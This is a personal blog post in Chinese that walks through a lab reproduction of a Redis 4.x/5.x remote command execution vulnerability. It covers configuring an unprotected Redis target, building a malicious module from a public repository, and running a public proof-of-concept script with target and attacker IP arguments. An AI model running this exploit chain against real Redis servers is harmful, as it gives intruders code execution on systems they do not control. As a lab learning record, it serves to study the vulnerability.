Redis遠端命令執行漏洞復現
本文首發於我的個人部落格,記錄了我在實驗室學習滲透測試所做的第二個漏洞復現,全部過程記錄在此,以便後續檢視,同時也希望本文能對您有所幫助。
同時,若文章有什麼錯誤,請到我的個人部落格進行核對,或者請在評論區告知,謝謝!
前言
Redis簡介
Redis是一個高效能的key-value儲存系統,支援多種value型別,提供了Java, C/C++, C#, PHP, JavaScript, Perl, Object-C, Python, Ruby, Erlang等客戶端。
實驗環境
- 攻擊機:Kali 192.168.227.128
- 靶機:Kali 192.168.227.129
- 影響範圍:Redis4.x、5.x
靶機安裝Redis包
-
下載Redis包:
wget download.redis.io/releases/redis-4.0.11.tar.gz
-
解壓安裝包
tar xzvf redis-4.0.11.tar.gz
當前目錄下會出現一個名為``redis-4.0.11`的資料夾。
-
make安裝
進入資料夾,在usr/local/redis目錄下安裝redis:
make PREFIX=/usr/local/redis install
之後命令列刷屏,等待一會後,出現如下提示,安裝結束:
-
檢查安裝是否有問題
安裝命令列提示,輸入:
make test
等待一會兒,若出現以下提示,說明測試通過,安裝已完成:
-
拷貝原始碼中的redis.conf到/usr/local/redis中
cp /redis-4.0.11/redis.conf /usr/local/redis
-
修改redis.conf
進入/usr/local/redis目錄,開啟redis.conf,做出以下修改:
- 找到未註釋的
bind 127.0.0.1
,並註釋掉 - 修改
protected-mode
屬性為no
(可通過IP訪問) - 修改
daemonize
屬性為yes
(標識redis以後臺方式啟動)
- 找到未註釋的
-
服務端啟動服務
進入/usr/local/redis/bin目錄下,執行如下命令:
./redis-server /usr/local/redis/redis.conf
結果如下:
-
啟動客戶端連線並測試
同樣在bin目錄下,執行如下命令:
./redis-cli
結果如下:
攻擊
攻擊機中需要下載RedisModules-ExecuteCommand和poc。
-
下載RedisModules-ExecuteCommand
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
然後進入RedisModules-ExcuteCommand目錄,直接make編譯:
make
-
下載poc
git clone https://github.com/Ridter/redis-rce.git
-
複製
將RedisMoudules-ExecuteCommand/src下的modules.so檔案複製到poc目錄(redis-rce)下。
-
安裝需要的庫
我在執行redis.rce.py時,提示我缺少
six
這個庫,需要pip安裝。首先安裝pip:curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
安裝完成後,當前目錄下會出現一個get-pip.py檔案,執行後就可以使用pip了:
python get-pip.py
然後就可以安裝需要的庫:
pip install six
-
執行poc
在redis-rce目錄下,命令列鍵入:
Python redis-rce.py -r 目標機ip -L 攻擊機ip -f module.so
結果如下: